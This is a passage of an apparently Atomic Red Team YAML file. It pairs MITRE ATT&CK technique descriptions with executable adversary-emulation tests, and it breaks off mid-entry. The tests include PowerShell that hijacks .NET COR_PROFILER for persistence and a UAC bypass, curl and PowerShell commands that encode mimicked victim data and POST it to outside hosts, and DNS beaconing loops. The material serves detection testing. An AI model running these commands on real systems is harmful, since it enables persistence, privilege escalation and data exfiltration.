      object_marking_refs:
      - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168
      id: attack-pattern--ffeb0780-356e-4261-b036-cfb6bd234335
      type: attack-pattern
      created: '2020-06-24T22:30:55.843Z'
      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
      external_references:
      - source_name: mitre-attack
        external_id: T1574.012
        url: https://attack.mitre.org/techniques/T1574/012
      - source_name: Microsoft Profiling Mar 2017
        url: https://docs.microsoft.com/en-us/dotnet/framework/unmanaged-api/profiling/profiling-overview
        description: Microsoft. (2017, March 30). Profiling Overview. Retrieved June
          24, 2020.
      - source_name: Microsoft COR_PROFILER Feb 2013
        url: https://docs.microsoft.com/en-us/previous-versions/dotnet/netframework-4.0/ee471451(v=vs.100)
        description: Microsoft. (2013, February 4). Registry-Free Profiler Startup
          and Attach. Retrieved June 24, 2020.
      - source_name: RedCanary Mockingbird May 2020
        url: https://redcanary.com/blog/blue-mockingbird-cryptominer/
        description: Lambert, T. (2020, May 7). Introducing Blue Mockingbird. Retrieved
          May 26, 2020.
      - source_name: Red Canary COR_PROFILER May 2020
        url: https://redcanary.com/blog/cor_profiler-for-persistence/
        description: Brown, J. (2020, May 7). Detecting COR_PROFILER manipulation
          for persistence. Retrieved June 24, 2020.
      - source_name: Almond COR_PROFILER Apr 2019
        url: https://offsec.almond.consulting/UAC-bypass-dotnet.html
        description: Almond. (2019, April 30). UAC bypass via elevated .NET applications.
          Retrieved June 24, 2020.
      - source_name: GitHub OmerYa Invisi-Shell
        url: https://github.com/OmerYa/Invisi-Shell
        description: Yair, O. (2019, August 19). Invisi-Shell. Retrieved June 24,
          2020.
      - source_name: subTee .NET Profilers May 2017
        url: https://web.archive.org/web/20170720041203/http://subt0x10.blogspot.com/2017/05/subvert-clr-process-listing-with-net.html
        description: Smith, C. (2017, May 18). Subvert CLR Process Listing With .NET
          Profilers. Retrieved June 24, 2020.
      modified: '2022-04-25T14:00:00.188Z'
      name: 'Hijack Execution Flow: COR_PROFILER'
      description: |-
        Adversaries may leverage the COR_PROFILER environment variable to hijack the execution flow of programs that load the .NET CLR. The COR_PROFILER is a .NET Framework feature which allows developers to specify an unmanaged (or external of .NET) profiling DLL to be loaded into each .NET process that loads the Common Language Runtime (CLR). These profilers are designed to monitor, troubleshoot, and debug managed code executed by the .NET CLR.(Citation: Microsoft Profiling Mar 2017)(Citation: Microsoft COR_PROFILER Feb 2013)

        The COR_PROFILER environment variable can be set at various scopes (system, user, or process) resulting in different levels of influence. System and user-wide environment variable scopes are specified in the Registry, where a [Component Object Model](https://attack.mitre.org/techniques/T1559/001) (COM) object can be registered as a profiler DLL. A process scope COR_PROFILER can also be created in-memory without modifying the Registry. Starting with .NET Framework 4, the profiling DLL does not need to be registered as long as the location of the DLL is specified in the COR_PROFILER_PATH environment variable.(Citation: Microsoft COR_PROFILER Feb 2013)

        Adversaries may abuse COR_PROFILER to establish persistence that executes a malicious DLL in the context of all .NET processes every time the CLR is invoked. The COR_PROFILER can also be used to elevate privileges (ex: [Bypass User Account Control](https://attack.mitre.org/techniques/T1548/002)) if the victim .NET process executes at a higher permission level, as well as to hook and [Impair Defenses](https://attack.mitre.org/techniques/T1562) provided by .NET processes.(Citation: RedCanary Mockingbird May 2020)(Citation: Red Canary COR_PROFILER May 2020)(Citation: Almond COR_PROFILER Apr 2019)(Citation: GitHub OmerYa Invisi-Shell)(Citation: subTee .NET Profilers May 2017)
      kill_chain_phases:
      - kill_chain_name: mitre-attack
        phase_name: persistence
      - kill_chain_name: mitre-attack
        phase_name: privilege-escalation
      - kill_chain_name: mitre-attack
        phase_name: defense-evasion
      x_mitre_detection: 'For detecting system and user scope abuse of the COR_PROFILER,
        monitor the Registry for changes to COR_ENABLE_PROFILING, COR_PROFILER, and
        COR_PROFILER_PATH that correspond to system and user environment variables
        that do not correlate to known developer tools. Extra scrutiny should be placed
        on suspicious modification of these Registry keys by command line tools like
        wmic.exe, setx.exe, and [Reg](https://attack.mitre.org/software/S0075), monitoring
        for command-line arguments indicating a change to COR_PROFILER variables may
        aid in detection. For system, user, and process scope abuse of the COR_PROFILER,
        monitor for new suspicious unmanaged profiling DLLs loading into .NET processes
        shortly after the CLR causing abnormal process behavior.(Citation: Red Canary
        COR_PROFILER May 2020) Consider monitoring for DLL files that are associated
        with COR_PROFILER environment variables.'
      x_mitre_is_subtechnique: true
      x_mitre_version: '1.0'
      x_mitre_modified_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
      x_mitre_data_sources:
      - 'Process: Process Creation'
      - 'Windows Registry: Windows Registry Key Modification'
      - 'Module: Module Load'
      - 'Command: Command Execution'
      x_mitre_permissions_required:
      - User
      - Administrator
      spec_version: '2.1'
      x_mitre_attack_spec_version: 2.1.0
      identifier: T1574.012
    atomic_tests:
    - name: User scope COR_PROFILER
      auto_generated_guid: 9d5f89dc-c3a5-4f8a-a4fc-a6ed02e7cb5a
      description: |
        Creates user scope environment variables and CLSID COM object to enable a .NET profiler (COR_PROFILER).
        The unmanaged profiler DLL (`T1574.012x64.dll`) executes when the CLR is loaded by the Event Viewer process.
        Additionally, the profiling DLL will inherit the integrity level of Event Viewer bypassing UAC and executing `notepad.exe` with high integrity.
        If the account used is not a local administrator the profiler DLL will still execute each time the CLR is loaded by a process, however,
        the notepad process will not execute with high integrity.

        Reference: https://redcanary.com/blog/cor_profiler-for-persistence/
      supported_platforms:
      - windows
      input_arguments:
        file_name:
          description: unmanaged profiler DLL
          type: path
          default: PathToAtomicsFolder\T1574.012\bin\T1574.012x64.dll
        clsid_guid:
          description: custom clsid guid
          type: string
          default: "{09108e71-974c-4010-89cb-acf471ae9e2c}"
      dependency_executor_name: powershell
      dependencies:
      - description: '"#{file_name}" must be present

          '
        prereq_command: 'if (Test-Path "#{file_name}") {exit 0} else {exit 1}

          '
        get_prereq_command: |
          New-Item -Type Directory (split-path "#{file_name}") -ErrorAction ignore | Out-Null
          Invoke-WebRequest "https://github.com/redcanaryco/atomic-red-team/raw/master/atomics/T1574.012/bin/T1574.012x64.dll" -OutFile "#{file_name}"
      executor:
        command: |
          Write-Host "Creating registry keys in HKCU:Software\Classes\CLSID\#{clsid_guid}" -ForegroundColor Cyan
          New-Item -Path "HKCU:\Software\Classes\CLSID\#{clsid_guid}\InprocServer32" -Value "#{file_name}" -Force | Out-Null
          New-ItemProperty -Path HKCU:\Environment -Name "COR_ENABLE_PROFILING" -PropertyType String -Value "1" -Force | Out-Null
          New-ItemProperty -Path HKCU:\Environment -Name "COR_PROFILER" -PropertyType String -Value "#{clsid_guid}" -Force | Out-Null
          New-ItemProperty -Path HKCU:\Environment -Name "COR_PROFILER_PATH" -PropertyType String -Value "#{file_name}" -Force | Out-Null
          Write-Host "executing eventvwr.msc" -ForegroundColor Cyan
          START MMC.EXE EVENTVWR.MSC
        cleanup_command: "Remove-Item -Path \"HKCU:\\Software\\Classes\\CLSID\\#{clsid_guid}\"
          -Recurse -Force -ErrorAction Ignore \nRemove-ItemProperty -Path HKCU:\\Environment
          -Name \"COR_ENABLE_PROFILING\" -Force -ErrorAction Ignore | Out-Null\nRemove-ItemProperty
          -Path HKCU:\\Environment -Name \"COR_PROFILER\" -Force -ErrorAction Ignore
          | Out-Null\nRemove-ItemProperty -Path HKCU:\\Environment -Name \"COR_PROFILER_PATH\"
          -Force -ErrorAction Ignore | Out-Null\n"
        name: powershell
    - name: System Scope COR_PROFILER
      auto_generated_guid: f373b482-48c8-4ce4-85ed-d40c8b3f7310
      description: |
        Creates system scope environment variables to enable a .NET profiler (COR_PROFILER). System scope environment variables require a restart to take effect.
        The unmanaged profiler DLL (T1574.012x64.dll`) executes when the CLR is loaded by any process. Additionally, the profiling DLL will inherit the integrity
        level of Event Viewer bypassing UAC and executing `notepad.exe` with high integrity. If the account used is not a local administrator the profiler DLL will
        still execute each time the CLR is loaded by a process, however, the notepad process will not execute with high integrity.

        Reference: https://redcanary.com/blog/cor_profiler-for-persistence/
      supported_platforms:
      - windows
      input_arguments:
        file_name:
          description: unmanaged profiler DLL
          type: path
          default: PathToAtomicsFolder\T1574.012\bin\T1574.012x64.dll
        clsid_guid:
          description: custom clsid guid
          type: string
          default: "{09108e71-974c-4010-89cb-acf471ae9e2c}"
      dependency_executor_name: powershell
      dependencies:
      - description: '"#{file_name}" must be present

          '
        prereq_command: 'if (Test-Path "#{file_name}") {exit 0} else {exit 1}

          '
        get_prereq_command: |
          New-Item -Type Directory (split-path "#{file_name}") -ErrorAction ignore | Out-Null
          Invoke-WebRequest "https://github.com/redcanaryco/atomic-red-team/raw/master/atomics/T1574.012/bin/T1574.012x64.dll" -OutFile "#{file_name}"
      executor:
        command: |
          Write-Host "Creating system environment variables" -ForegroundColor Cyan
          New-ItemProperty -Path 'HKLM:\SYSTEM\CurrentControlSet\Control\Session Manager\Environment' -Name "COR_ENABLE_PROFILING" -PropertyType String -Value "1" -Force | Out-Null
          New-ItemProperty -Path 'HKLM:\SYSTEM\CurrentControlSet\Control\Session Manager\Environment' -Name "COR_PROFILER" -PropertyType String -Value "#{clsid_guid}" -Force | Out-Null
          New-ItemProperty -Path 'HKLM:\SYSTEM\CurrentControlSet\Control\Session Manager\Environment' -Name "COR_PROFILER_PATH" -PropertyType String -Value "#{file_name}" -Force | Out-Null
        cleanup_command: |
          Remove-ItemProperty -Path 'HKLM:\SYSTEM\CurrentControlSet\Control\Session Manager\Environment' -Name "COR_ENABLE_PROFILING" -Force -ErrorAction Ignore | Out-Null
          Remove-ItemProperty -Path 'HKLM:\SYSTEM\CurrentControlSet\Control\Session Manager\Environment' -Name "COR_PROFILER" -Force -ErrorAction Ignore | Out-Null
          Remove-ItemProperty -Path 'HKLM:\SYSTEM\CurrentControlSet\Control\Session Manager\Environment' -Name "COR_PROFILER_PATH" -Force -ErrorAction Ignore | Out-Null
        name: powershell
        elevation_required: true
    - name: Registry-free process scope COR_PROFILER
      auto_generated_guid: 79d57242-bbef-41db-b301-9d01d9f6e817
      description: |
        Creates process scope environment variables to enable a .NET profiler (COR_PROFILER) without making changes to the registry. The unmanaged profiler DLL (`T1574.012x64.dll`) executes when the CLR is loaded by PowerShell.

        Reference: https://redcanary.com/blog/cor_profiler-for-persistence/
      supported_platforms:
      - windows
      input_arguments:
        file_name:
          description: unamanged profiler DLL
          type: path
          default: PathToAtomicsFolder\T1574.012\bin\T1574.012x64.dll
        clsid_guid:
          description: custom clsid guid
          type: string
          default: "{09108e71-974c-4010-89cb-acf471ae9e2c}"
      dependency_executor_name: powershell
      dependencies:
      - description: '"#{file_name}" must be present

          '
        prereq_command: 'if (Test-Path "#{file_name}") {exit 0} else {exit 1}

          '
        get_prereq_command: |
          New-Item -Type Directory (split-path "#{file_name}") -ErrorAction ignore | Out-Null
          Invoke-WebRequest "https://github.com/redcanaryco/atomic-red-team/raw/master/atomics/T1574.012/bin/T1574.012x64.dll" -OutFile "#{file_name}"
      executor:
        command: |
          $env:COR_ENABLE_PROFILING = 1
          $env:COR_PROFILER = '#{clsid_guid}'
          $env:COR_PROFILER_PATH = '"#{file_name}"'
          POWERSHELL -c 'Start-Sleep 1'
        cleanup_command: |
          $env:COR_ENABLE_PROFILING = 0
          $env:COR_PROFILER = ''
          $env:COR_PROFILER_PATH = ''
        name: powershell
command-and-control:
  T1205.002:
    technique:
      modified: '2022-11-08T14:00:00.188Z'
      name: Socket Filters
      description: |-
        Adversaries may attach filters to a network socket to monitor then activate backdoors used for persistence or command and control. With elevated permissions, adversaries can use features such as the `libpcap` library to open sockets and install filters to allow or disallow certain types of data to come through the socket. The filter may apply to all traffic passing through the specified network interface (or every interface if not specified). When the network interface receives a packet matching the filter criteria, additional actions can be triggered on the host, such as activation of a reverse shell.

        To establish a connection, an adversary sends a crafted packet to the targeted host that matches the installed filter criteria.(Citation: haking9 libpcap network sniffing) Adversaries have used these socket filters to trigger the installation of implants, conduct ping backs, and to invoke command shells. Communication with these socket filters may also be used in conjunction with [Protocol Tunneling](https://attack.mitre.org/techniques/T1572).(Citation: exatrack bpf filters passive backdoors)(Citation: Leonardo Turla Penquin May 2020)

        Filters can be installed on any Unix-like platform with `libpcap` installed or on Windows hosts using `Winpcap`.  Adversaries may use either `libpcap` with `pcap_setfilter` or the standard library function `setsockopt` with `SO_ATTACH_FILTER` options. Since the socket connection is not active until the packet is received, this behavior may be difficult to detect due to the lack of activity on a host, low CPU overhead, and limited visibility into raw socket usage.
      kill_chain_phases:
      - kill_chain_name: mitre-attack
        phase_name: defense-evasion
      - kill_chain_name: mitre-attack
        phase_name: persistence
      - kill_chain_name: mitre-attack
        phase_name: command-and-control
      x_mitre_detection: 'Identify running processes with raw sockets. Ensure processes
        listed have a need for an open raw socket and are in accordance with enterprise
        policy.(Citation: crowdstrike bpf socket filters)'
      x_mitre_platforms:
      - Linux
      - macOS
      - Windows
      x_mitre_is_subtechnique: true
      x_mitre_deprecated: false
      x_mitre_domains:
      - enterprise-attack
      x_mitre_version: '1.0'
      x_mitre_contributors:
      - Tim (Wadhwa-)Brown
      - CrowdStrike
      x_mitre_data_sources:
      - 'Process: Process Creation'
      - 'Network Traffic: Network Connection Creation'
      type: attack-pattern
      id: attack-pattern--005cc321-08ce-4d17-b1ea-cb5275926520
      created: '2022-09-30T21:18:41.930Z'
      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
      revoked: false
      external_references:
      - source_name: mitre-attack
        url: https://attack.mitre.org/techniques/T1205/002
        external_id: T1205.002
      - source_name: exatrack bpf filters passive backdoors
        description: 'ExaTrack. (2022, May 11). Tricephalic Hellkeeper: a tale of
          a passive backdoor. Retrieved October 18, 2022.'
        url: https://exatrack.com/public/Tricephalic_Hellkeeper.pdf
      - source_name: crowdstrike bpf socket filters
        description: 'Jamie Harries. (2022, May 25). Hunting a Global Telecommunications
          Threat: DecisiveArchitect and Its Custom Implant JustForFun. Retrieved October
          18, 2022.'
        url: https://www.crowdstrike.com/blog/how-to-hunt-for-decisivearchitect-and-justforfun-implant/
      - source_name: Leonardo Turla Penquin May 2020
        description: Leonardo. (2020, May 29). MALWARE TECHNICAL INSIGHT TURLA “Penquin_x64”.
          Retrieved March 11, 2021.
        url: https://www.leonardo.com/documents/20142/10868623/Malware+Technical+Insight+_Turla+%E2%80%9CPenquin_x64%E2%80%9D.pdf
      - source_name: haking9 libpcap network sniffing
        description: 'Luis Martin Garcia. (2008, February 1). Hakin9 Issue 2/2008
          Vol 3 No.2 VoIP Abuse: Storming SIP Security. Retrieved October 18, 2022.'
        url: http://recursos.aldabaknocking.com/libpcapHakin9LuisMartinGarcia.pdf
      object_marking_refs:
      - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168
      x_mitre_attack_spec_version: 2.1.0
      x_mitre_modified_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
      spec_version: '2.1'
    atomic_tests: []
  T1132.001:
    technique:
      modified: '2023-03-03T00:31:33.071Z'
      name: 'Data Encoding: Standard Encoding'
      description: 'Adversaries may encode data with a standard data encoding system
        to make the content of command and control traffic more difficult to detect.
        Command and control (C2) information can be encoded using a standard data
        encoding system that adheres to existing protocol specifications. Common data
        encoding schemes include ASCII, Unicode, hexadecimal, Base64, and MIME.(Citation:
        Wikipedia Binary-to-text Encoding)(Citation: Wikipedia Character Encoding)
        Some data encoding systems may also result in data compression, such as gzip.'
      kill_chain_phases:
      - kill_chain_name: mitre-attack
        phase_name: command-and-control
      x_mitre_detection: 'Analyze network data for uncommon data flows (e.g., a client
        sending significantly more data than it receives from a server). Processes
        utilizing the network that do not normally have network communication or have
        never been seen before are suspicious. Analyze packet contents to detect communications
        that do not follow the expected protocol behavior for the port that is being
        used.(Citation: University of Birmingham C2)'
      x_mitre_platforms:
      - Linux
      - macOS
      - Windows
      x_mitre_is_subtechnique: true
      x_mitre_deprecated: false
      x_mitre_domains:
      - enterprise-attack
      x_mitre_version: '1.0'
      x_mitre_data_sources:
      - 'Network Traffic: Network Traffic Content'
      type: attack-pattern
      id: attack-pattern--04fd5427-79c7-44ea-ae13-11b24778ff1c
      created: '2020-03-14T23:36:52.095Z'
      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
      revoked: false
      external_references:
      - source_name: mitre-attack
        url: https://attack.mitre.org/techniques/T1132/001
        external_id: T1132.001
      - source_name: University of Birmingham C2
        description: Gardiner, J.,  Cova, M., Nagaraja, S. (2014, February). Command
          & Control Understanding, Denying and Detecting. Retrieved April 20, 2016.
        url: https://arxiv.org/ftp/arxiv/papers/1408/1408.1136.pdf
      - source_name: Wikipedia Binary-to-text Encoding
        description: Wikipedia. (2016, December 26). Binary-to-text encoding. Retrieved
          March 1, 2017.
        url: https://en.wikipedia.org/wiki/Binary-to-text_encoding
      - source_name: Wikipedia Character Encoding
        description: Wikipedia. (2017, February 19). Character Encoding. Retrieved
          March 1, 2017.
        url: https://en.wikipedia.org/wiki/Character_encoding
      object_marking_refs:
      - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168
      x_mitre_attack_spec_version: 3.1.0
      x_mitre_modified_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
      spec_version: '2.1'
      identifier: T1132.001
    atomic_tests:
    - name: Base64 Encoded data.
      auto_generated_guid: 1164f70f-9a88-4dff-b9ff-dc70e7bf0c25
      description: 'Utilizing a common technique for posting base64 encoded data.

        '
      supported_platforms:
      - macos
      - linux
      input_arguments:
        destination_url:
          description: Destination URL to post encoded data.
          type: url
          default: redcanary.com
        base64_data:
          description: Encoded data to post using fake Social Security number 111-11-1111.
          type: string
          default: MTExLTExLTExMTE=
      executor:
        command: |
          echo -n 111-11-1111 | base64
          curl -XPOST #{base64_data}.#{destination_url}
        name: sh
    - name: Base64 Encoded data (freebsd)
      auto_generated_guid: 2d97c626-7652-449e-a986-b02d9051c298
      description: 'Utilizing a common technique for posting base64 encoded data.

        '
      supported_platforms:
      - linux
      input_arguments:
        destination_url:
          description: Destination URL to post encoded data.
          type: url
          default: redcanary.com
        base64_data:
          description: Encoded data to post using fake Social Security number 111-11-1111.
          type: string
          default: MTExLTExLTExMTE=
      dependency_executor_name: sh
      dependencies:
      - description: 'Requires curl

          '
        prereq_command: "if [ -x \"$(command -v curl)\" ]; then exit 0; else exit
          1; fi;      \n"
        get_prereq_command: 'pkg install -y curl

          '
      executor:
        command: |
          echo -n 111-11-1111 | b64encode -r -
          curl -XPOST #{base64_data}.#{destination_url}
        name: sh
    - name: XOR Encoded data.
      auto_generated_guid: c3ed6d2a-e3ad-400d-ad78-bbfdbfeacc08
      description: |
        XOR encodes the data with a XOR key.
        Reference - https://gist.github.com/loadenmb/8254cee0f0287b896a05dcdc8a30042f
      supported_platforms:
      - windows
      input_arguments:
        destination_url:
          description: Destination URL to post encoded data.
          type: url
          default: example.com
        plaintext:
          description: Plain text mimicking victim data sent to C2 server.
          type: string
          default: Path\n----\nC:\Users\victim
        key:
          description: XOR key used for encoding the plaintext.
          type: string
          default: abcdefghijklmnopqrstuvwxyz123456
      executor:
        command: |
          $plaintext = ([system.Text.Encoding]::UTF8.getBytes("#{plaintext}"))
          $key = "#{key}"
          $cyphertext =  @();
          for ($i = 0; $i -lt $plaintext.Count; $i++) {
           $cyphertext += $plaintext[$i] -bxor $key[$i % $key.Length];
          }
          $cyphertext = [system.Text.Encoding]::UTF8.getString($cyphertext)
          [System.Net.ServicePointManager]::Expect100Continue = $false
          Invoke-WebRequest -Uri #{destination_url} -Method POST -Body $cyphertext -DisableKeepAlive
        name: powershell
  T1568.002:
    technique:
      x_mitre_platforms:
      - Linux
      - macOS
      - Windows
      x_mitre_domains:
      - enterprise-attack
      x_mitre_contributors:
      - Ryan Benson, Exabeam
      - Barry Shteiman, Exabeam
      - Sylvain Gil, Exabeam
      object_marking_refs:
      - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168
      id: attack-pattern--118f61a5-eb3e-4fb6-931f-2096647f4ecd
      type: attack-pattern
      created: '2020-03-10T17:44:59.787Z'
      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
      external_references:
      - source_name: mitre-attack
        external_id: T1568.002
        url: https://attack.mitre.org/techniques/T1568/002
      - source_name: Cybereason Dissecting DGAs
        url: http://go.cybereason.com/rs/996-YZT-709/images/Cybereason-Lab-Analysis-Dissecting-DGAs-Eight-Real-World-DGA-Variants.pdf
        description: 'Sternfeld, U. (2016). Dissecting Domain Generation Algorithms:
          Eight Real World DGA Variants. Retrieved February 18, 2019.'
      - source_name: Cisco Umbrella DGA
        url: https://umbrella.cisco.com/blog/2016/10/10/domain-generation-algorithms-effective/
        description: Scarfo, A. (2016, October 10). Domain Generation Algorithms –
          Why so effective?. Retrieved February 18, 2019.
      - source_name: Unit 42 DGA Feb 2019
        url: https://unit42.paloaltonetworks.com/threat-brief-understanding-domain-generation-algorithms-dga/
        description: 'Unit 42. (2019, February 7). Threat Brief: Understanding Domain
          Generation Algorithms (DGA). Retrieved February 19, 2019.'
      - url: http://blog.talosintelligence.com/2017/09/avast-distributes-malware.html
        description: 'Brumaghin, E. et al. (2017, September 18). CCleanup: A Vast
          Number of Machines at Risk. Retrieved March 9, 2018.'
        source_name: Talos CCleanup 2017
      - source_name: Akamai DGA Mitigation
        url: https://blogs.akamai.com/2018/01/a-death-match-of-domain-generation-algorithms.html
        description: Liu, H. and Yuzifovich, Y. (2018, January 9). A Death Match of
          Domain Generation Algorithms. Retrieved February 18, 2019.
      - url: https://www.fireeye.com/blog/threat-research/2017/03/dissecting_one_ofap.html
        description: Dunwoody, M.. (2017, April 3). Dissecting One of APT29’s Fileless
          WMI and PowerShell Backdoors (POSHSPY). Retrieved April 5, 2017.
        source_name: FireEye POSHSPY April 2017
      - source_name: ESET Sednit 2017 Activity
        url: https://www.welivesecurity.com/2017/12/21/sednit-update-fancy-bear-spent-year/
        description: 'ESET. (2017, December 21). Sednit update: How Fancy Bear Spent
          the Year. Retrieved February 18, 2019.'
      - source_name: Data Driven Security DGA
        url: https://datadrivensecurity.info/blog/posts/2014/Oct/dga-part2/
        description: 'Jacobs, J. (2014, October 2). Building a DGA Classifier: Part
          2, Feature Engineering. Retrieved February 18, 2019.'
      - source_name: Pace University Detecting DGA May 2017
        url: http://csis.pace.edu/~ctappert/srd2017/2017PDF/d4.pdf
        description: Chen, L., Wang, T.. (2017, May 5). Detecting Algorithmically
          Generated Domains Using Data Visualization and N-Grams Methods . Retrieved
          April 26, 2019.
      - source_name: Elastic Predicting DGA
        url: https://arxiv.org/pdf/1611.00791.pdf
        description: Ahuja, A., Anderson, H., Grant, D., Woodbridge, J.. (2016, November
          2). Predicting Domain Generation Algorithms with Long Short-Term Memory
          Networks. Retrieved April 26, 2019.
      modified: '2022-05-11T14:00:00.188Z'
      name: Domain Generation Algorithms
      description: |-
        Adversaries may make use of Domain Generation Algorithms (DGAs) to dynamically identify a destination domain for command and control traffic rather than relying on a list of static IP addresses or domains. This has the advantage of making it much harder for defenders to block, track, or take over the command and control channel, as there potentially could be thousands of domains that malware can check for instructions.(Citation: Cybereason Dissecting DGAs)(Citation: Cisco Umbrella DGA)(Citation: Unit 42 DGA Feb 2019)

        DGAs can take the form of apparently random or “gibberish” strings (ex: istgmxdejdnxuyla.ru) when they construct domain names by generating each letter. Alternatively, some DGAs employ whole words as the unit by concatenating words together instead of letters (ex: cityjulydish.net). Many DGAs are time-based, generating a different domain for each time period (hourly, daily, monthly, etc). Others incorporate a seed value as well to make predicting future domains more difficult for defenders.(Citation: Cybereason Dissecting DGAs)(Citation: Cisco Umbrella DGA)(Citation: Talos CCleanup 2017)(Citation: Akamai DGA Mitigation)

        Adversaries may use DGAs for the purpose of [Fallback Channels](https://attack.mitre.org/techniques/T1008). When contact is lost with the primary command and control server malware may employ a DGA as a means to reestablishing command and control.(Citation: Talos CCleanup 2017)(Citation: FireEye POSHSPY April 2017)(Citation: ESET Sednit 2017 Activity)
      kill_chain_phases:
      - kill_chain_name: mitre-attack
        phase_name: command-and-control
      x_mitre_detection: |-
        Detecting dynamically generated domains can be challenging due to the number of different DGA algorithms, constantly evolving malware families, and the increasing complexity of the algorithms. There is a myriad of approaches for detecting a pseudo-randomly generated domain name, including using frequency analysis, Markov chains, entropy, proportion of dictionary words, ratio of vowels to other characters, and more.(Citation: Data Driven Security DGA) CDN domains may trigger these detections due to the format of their domain names. In addition to detecting a DGA domain based on the name, another more general approach for detecting a suspicious domain is to check for recently registered names or for rarely visited domains.

        Machine learning approaches to detecting DGA domains have been developed and have seen success in applications. One approach is to use N-Gram methods to determine a randomness score for strings used in the domain name. If the randomness score is high, and the domains are not whitelisted (CDN, etc), then it may be determined if a domain is related to a legitimate host or DGA.(Citation: Pace University Detecting DGA May 2017) Another approach is to use deep learning to classify domains as DGA-generated.(Citation: Elastic Predicting DGA)
      x_mitre_is_subtechnique: true
      x_mitre_version: '1.0'
      x_mitre_modified_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
      x_mitre_data_sources:
      - 'Network Traffic: Network Traffic Flow'
      x_mitre_permissions_required:
      - User
      spec_version: '2.1'
      x_mitre_attack_spec_version: 2.1.0
    atomic_tests: []
  T1071.004:
    technique:
      modified: '2023-12-26T20:54:38.721Z'
      name: 'Application Layer Protocol: DNS'
      description: "Adversaries may communicate using the Domain Name System (DNS)
        application layer protocol to avoid detection/network filtering by blending
        in with existing traffic. Commands to the remote system, and often the results
        of those commands, will be embedded within the protocol traffic between the
        client and server. \n\nThe DNS protocol serves an administrative function
        in computer networking and thus may be very common in environments. DNS traffic
        may also be allowed even before network authentication is completed. DNS packets
        contain many fields and headers in which data can be concealed. Often known
        as DNS tunneling, adversaries may abuse DNS to communicate with systems under
        their control within a victim network while also mimicking normal, expected
        traffic.(Citation: PAN DNS Tunneling)(Citation: Medium DnsTunneling) "
      kill_chain_phases:
      - kill_chain_name: mitre-attack
        phase_name: command-and-control
      x_mitre_contributors:
      - Jan Petrov, Citi
      - Chris Heald
      x_mitre_deprecated: false
      x_mitre_detection: |-
        Analyze network data for uncommon data flows (e.g., a client sending significantly more data than it receives from a server). Processes utilizing the network that do not normally have network communication or have never been seen before are suspicious. Analyze packet contents to detect application layer protocols that do not follow the expected protocol standards regarding syntax, structure, or any other variable adversaries could leverage to conceal data.(Citation: University of Birmingham C2)

        Monitor for DNS traffic to/from known-bad or suspicious domains.
      x_mitre_domains:
      - enterprise-attack
      x_mitre_is_subtechnique: true
      x_mitre_platforms:
      - Linux
      - macOS
      - Windows
      - Network
      x_mitre_version: '1.2'
      x_mitre_data_sources:
      - 'Network Traffic: Network Traffic Content'
      - 'Network Traffic: Network Traffic Flow'
      type: attack-pattern
      id: attack-pattern--1996eef1-ced3-4d7f-bf94-33298cabbf72
      created: '2020-03-15T16:27:31.768Z'
      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
      revoked: false
      external_references:
      - source_name: mitre-attack
        url: https://attack.mitre.org/techniques/T1071/004
        external_id: T1071.004
      - source_name: Medium DnsTunneling
        description: Galobardes, R. (2018, October 30). Learn how easy is to bypass
          firewalls using DNS tunneling (and also how to block it). Retrieved March
          15, 2020.
        url: https://medium.com/@galolbardes/learn-how-easy-is-to-bypass-firewalls-using-dns-tunneling-and-also-how-to-block-it-3ed652f4a000
      - source_name: University of Birmingham C2
        description: Gardiner, J.,  Cova, M., Nagaraja, S. (2014, February). Command
          & Control Understanding, Denying and Detecting. Retrieved April 20, 2016.
        url: https://arxiv.org/ftp/arxiv/papers/1408/1408.1136.pdf
      - source_name: PAN DNS Tunneling
        description: Palo Alto Networks. (n.d.). What Is DNS Tunneling?. Retrieved
          March 15, 2020.
        url: https://www.paloaltonetworks.com/cyberpedia/what-is-dns-tunneling
      object_marking_refs:
      - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168
      x_mitre_attack_spec_version: 3.2.0
      x_mitre_modified_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
      spec_version: '2.1'
      identifier: T1071.004
    atomic_tests:
    - name: DNS Large Query Volume
      auto_generated_guid: 1700f5d6-5a44-487b-84de-bc66f507b0a6
      description: |
        This test simulates an infected host sending a large volume of DNS queries to a command and control server.
        The intent of this test is to trigger threshold based detection on the number of DNS queries either from a single source system or to a single targe domain.
        A custom domain and sub-domain will need to be passed as input parameters for this test to work. Upon execution, DNS information about the domain will be displayed for each callout.
      supported_platforms:
      - windows
      input_arguments:
        query_type:
          description: DNS query type
          type: string
          default: TXT
        subdomain:
          description: Subdomain prepended to the domain name
          type: string
          default: atomicredteam
        query_volume:
          description: Number of DNS queries to send
          type: integer
          default: 1000
        domain:
          description: Default domain to simulate against
          type: string
          default: 127.0.0.1.nip.io
      executor:
        command: 'for($i=0; $i -le #{query_volume}; $i++) { Resolve-DnsName -type
          "#{query_type}" "#{subdomain}-$(Get-Random -Minimum 1 -Maximum 999999).#{domain}"
          -QuickTimeout}

          '
        name: powershell
    - name: DNS Regular Beaconing
      auto_generated_guid: 3efc144e-1af8-46bb-8ca2-1376bb6db8b6
      description: |
        This test simulates an infected host beaconing via DNS queries to a command and control server at regular intervals over time.
        This behaviour is typical of implants either in an idle state waiting for instructions or configured to use a low query volume over time to evade threshold based detection.
        A custom domain and sub-domain will need to be passed as input parameters for this test to work. Upon execution, DNS information about the domain will be displayed for each callout.
      supported_platforms:
      - windows
      input_arguments:
        runtime:
          description: Time in minutes to run the simulation
          type: integer
          default: 30
        domain:
          description: Default domain to simulate against
          type: string
          default: 127.0.0.1.nip.io
        subdomain:
          description: Subdomain prepended to the domain name
          type: string
          default: atomicredteam
        query_type:
          description: DNS query type
          type: string
          default: TXT
        c2_interval:
